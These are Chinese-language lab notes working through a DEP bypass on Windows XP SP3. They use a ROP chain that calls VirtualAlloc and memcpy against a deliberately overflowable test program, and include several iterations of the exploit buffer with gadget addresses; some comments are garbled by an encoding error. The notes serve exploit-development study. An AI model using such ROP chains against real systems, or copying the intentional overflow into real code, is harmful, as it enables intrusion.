实验环境:
Winxp sp3
VS2010
实验配置:
禁用优化、关闭GS、关闭safeseh、开启DEP
思路:当程序需要一段可执行内存时,可以通过kernel32.dll的VirtualAlloc申请一段具有可执行属性的内存。因此可通过利用此函数将shellcode复制到申请的内存空间中,以绕过DEP。
如何利用?
将返回地址覆盖为VirtualAlloc的地址,参数输入进去即可。
VirtualAlloc(
LPVOID lpAddress, #申请内存区域的地址,
SIZE_T dwSize, #申请内存的大小
DWORD flAllocationType, #申请内存的类型
DWORD flProtect); #申请内存的访问控制类型,如读、写、执行等权限
参数设置:
我们将lpAddress=0x00030000,只要是一个未被占用的地址即可。
dwSize=0xff,申请的空间足够存放shellcode即可,我们选择255个字节
flAllocationType=0x00001000,查看MSDN可知这里是……
flProtext=0x00000040,内存属性设为可读可写可执行。
比较:
VirtualAlloc与VirtualProtect最大的区别在于VirutalAlloc各个参数不存在动态确定问题,可以直接写到shellcode里边。
实验程序:
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<string.h>
char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"};
int test()
{
printf("OK!");
char array[4]={0};
memcpy(array,shell,sizeof(shell)+1);
return 0;
}
int main()
{
HMODULE hMod = LoadLibrary(L"shell32.dll");
test();
return 0;
}
第一阶段:利用VirtualAlloc函数申请一段具有执行权限的内存
1、找到VirtualAlloc的地址
OD载入程序,右键查找->所有模块名称中查找,输入VirtualAlloc。发现有很多VirtualAlloc
双击这里进入,来到VirtualAllocEx处,发现和书中的函数差不多一致。(其他地方也可以试试,但都不一样。)记下地址0x7C809AF4
2、修复EBP
由于EBP被破坏因此首先修复EBP,依然用PUSH ESP POP EBP RETN 4进行修复
通过OllyFindAddr->Disable DEP-> Disable DEP <=SP3查找。选择0x5D1D8B85
验证一下EBP是否修复:
将shellcode后面添加这个地址进行修改,OD载入运行,通过字符串OK定位到程序处,下断点,F8运行,结束后果然运行到PUSH ESP POP EBP RETN 4指令处,而EBP也变成0x13FF78了。
3、布局VirtualAlloc
在shellcode后面再加上VirtualAlloc的地址,OD载入运行程序
发现程序修复完EBP后,直接执行VirtualAlloc。且从0x0013FF80处取参数,因此,我们在shellcode中部署上我们的参数。注意,0x0013FF78与0x0013FF80中间隔了4个字节。此外hProcess我们部署-1表示当前进程。
char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d"
"\xf4\x9a\x80\x7c"
"\x90\x90\x90\x90"
"\xff\xff\xff\xff"
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"};
OD载入,运行到VirutalAlloc下一行,eax=0x30000说明申请内存成功!
单步继续
发现由于pop ebp导致EBP被破坏!
第二阶段:向申请的内存空间中复制shellcode
<font=“red”>核心思路:使用memcpy()函数将shellcode复制到这段内存空间。
(1)memcpy(dst,src,size)其中目的内存地址和复制长度都可以直接写在shellcode中。唯一的难点在于内存源地址的确定。实际上我们不需要精确定位,只要保证源内存起始地址在shellcode中关键代码前面即可。因此可以使用PUSH ESP JMP EAX指令来填充这个参数。【不懂!】
(2)在申请后由于EBP被破坏,而后面我们还会用到EBP因此需要修复EBP
(3)VirtualAlloc返回时有16个字节的偏移(retn 0x10)
1、查询push esp jmp eax的值,由于OD找不到,因此使用Immunity Debugger查找0x77ebc6c6
将该地址复制给shellcode
char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修复EBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的地址
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填充的参数
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
};
OD载入运行
接下来执行push esp jmp eax,
接下来就跳转到eax=0x00030000处,异常执行。
接下来需要做两件事:
(1)填充eax,将shellcode地址部署到eax中
(2)修复EBP,因为如图发现EBP又被破坏了,后续还会用到EBP,因为查看memcpy源码可知,源内存地址在[ebp+0xc]处,因此需要修复EBP
1、填充eax,在eax中部署shellcode即可。
提问:那么如何获得EAX呢?
回答:像上次实验一样,用pop eax retn指令获得EAX的值
依然使用OD插件OllyFindAddr搜索得到pop eax,地址是0x7DA6433C
再次修改shellcode,
char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的Ì?地Ì?址¡¤
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填¬?充?的Ì?参?数ºy
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\x3c\x43\xa6\x7d" // pop eax retn
"\xc6\xc6\xeb\x77" // push esp jmp eax
};
运行到pop eax retn处
发现eax即将得到的值所在的地址与shellcode相差了12个字节。这里我们用0x909090填充。而且我们的eax指向了地址:0x44e7b9dc(这是啥地址?一脸懵逼)我们将其先填充为0x41414141吧。此外,执行完pop eax retn之后,才执行push esp jmp eax吧,因此我们将0x77ebc6c6向下移动。
因此修改shellcode如下:
char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的Ì?地Ì?址¡¤
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填¬?充?的Ì?参?数ºy
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\x3c\x43\xa6\x7d" // pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x41\x41\x41\x41" // eax指?向¨°的Ì?值¦Ì
"\xc6\xc6\xeb\x77" // push esp jmp eax
};
OD载入运行,执行完VirtualAlloc则将转到pop eax retn处
单步继续
则eax的值即将为0x41414141。单步继续
则eax变为0x41414141,而且即将执行push esp pop retn,单步继续
程序执行0x41414141,程序终止。
2、修复ESP肯定在PUSH ESP JMP EAX之前,因此
char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的Ì?地Ì?址¡¤
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填¬?充?的Ì?参?数ºy
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\x3c\x43\xa6\x7d" // pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x41\x41\x41\x41" // eax指向的值
"\x85\x8b\x1d\x5d" // 修复EBP
"\xc6\xc6\xeb\x77" // push esp jmp eax
};
OD载入,运行到第二次修复EBP时
接下来继续执行还会出现上述情况,执行PUSH ESP JMP EAX指令,最终跳到0x41414141终止。
第三阶段
memcpy的源码如下:
查看一下memcpy的源码,源内存地址为[ebp+0xc],而我们想通过使用PUSH ESP的方式设置内存源地址,因此需要让ESP指向EBP+0x10处,这样执行完PUSH ESP后,值就刚好放到EBP+0xc处了。为了达到这个目的,需要解决两个问题:
(1)问题:如何让ESP执行EBP+0x10处?
回答:目前ESP指向EBP处(这里是修复完EBP后),而执行完RETN 0x4之后,ESP执行EBP+0x8处,因此通过POP RETN指令即可达到EBP+0x10处。
(2)问题:PUSH完成后如何收回控制权?
回答:执行完PUSH操作后收回程序控制权的最佳位置在EBP+0x14处,因为在这个位置执行RETN指令既保证了memcpy参数不被破坏,又可以减少shellcode长度。
因此在执行完PUSH操作后,我们只需要POP两次就可以让ESP指向EBP+0x14,所以只要让JMP EAX指令中的EAX指向POP POP RETN指令即可。
接着在EBP+0x14位置处放置memcpy函数的切入点0x7C921DB8,这样执行完POP POP RETN指令就转入memcpy函数中执行复制操作了。
1、OD载入程序,寻找POP RETN指令,0x7DA17E94
“\x41\x41\x41\x41” // eax指?向¨°的Ì?值¦Ì
“\x85\x8b\x1d\x5d” // 修T复¡äEBP
“\x94\x7e\xa1\x7d” // pop ebx retn
“\xc6\xc6\xeb\x77” // push esp jmp eax
由于EBP+0xc 和EBP相差了8个字节,因此,更改shellcode布局如下:
“\x41\x41\x41\x41” // eax指?向¨°的Ì?值¦Ì
“\x85\x8b\x1d\x5d” // 修T复¡äEBP
“\x94\x7e\xa1\x7d” // pop ebx retn
“\x90\x90\x90\x90\x90\x90\x90\x90”
“\xc6\xc6\xeb\x77” // push esp jmp eax
OD载入运行,运行到push esp jmp eax停下
则接下来程序从0x13FFC4中取东西进行push 操作,则我们需要在这儿写入memcpy的地址0x7C921DB8
此时,shellcode如下:
char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的Ì?地Ì?址¡¤
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填¬?充?的Ì?参?数ºy
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\x3c\x43\xa6\x7d" // pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x41\x41\x41\x41" // eax指?向¨°的Ì?值¦Ì
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\x94\x7e\xa1\x7d" // pop ebx retn
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xb8\x1d\x92\x7c" // memcpy地Ì?址¡¤
};
由于程序执行到push esp jmp eax后,会跳到eax,按照刚才的分析,eax应该存放pop pop retn获得程序的控制权。
找到Pop pop retn指令的地址,随便选择一个0x7D6713AE
将刚才shellcode中0x41414141改为0x7D6713AE,运行程序到pop eax retn处
EAX以变为POP POP RETN的地址了,单步继续运行到POP POP RETN完结处
发现程序即将从0x13FFC8执行,因此我们的PUSH ESP JMP EAX指令和memcpy函数的地址中间应该相隔4个字节,我们先用0x41414141填充吧,
则执行到push esp jmp eax时,
由于memcpy的3个参数分别在ebp+8,ebp+0xc,ebp+0x10处,因此修改shellcode如下:
char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的Ì?地Ì?址¡¤
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填¬?充?的Ì?参?数ºy
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\x3c\x43\xa6\x7d" // pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xae\x13\x67\x7d" // eax指向的值
"\x85\x8b\x1d\x5d" // 修复EBP
"\x94\x7e\xa1\x7d" // pop ebx retn
"\x90\x90\x90\x90"
"\x00\x00\x03\x00" // 可执行空间地址,(memcpy的第1个参数,目标地址)
"\xc6\xc6\xeb\x77" // push esp jmp eax &原始shellcode地址(memcpy的第2个参数)
"\xff\x00\x00\x00" // shellcode长度,(memcpy的第三个参数)
"\xb8\x1d\x92\x7c" // memcpy地址
"\x42\x42\x42\x42"// shellcode
"\x42\x42\x42\x42"
"\x42\x42\x42\x42"
"\x42\x42\x42\x42"
"\x42\x42\x42\x42"
};
但是OD载入,运行到memcpy即将结束时发现程序将转到0x909090处执行,说明0x0013FFB8处存放的是memcpy的返回地址
因此我们将memcpy的返回地址改为0x00030000即可。
OD重新加载程序,则memcpy运行完后将返回到0x00030000处执行。
单步继续
发现我们的shellcode从0x00030008处开始执行,因此我们将memcpy的返回地址改为0x00030008即可。
成功!
遇到的坑:
1、 对memcpy函数的参数时,将可执行内存地址错写成0x00300000,因此在运行到memcpy函数内部一直报错,还找不到原因……
2、 由于上两篇写的太久了,导致挑选ROP时又忘了,多花了时间……下次果然一件事不要隔太久做。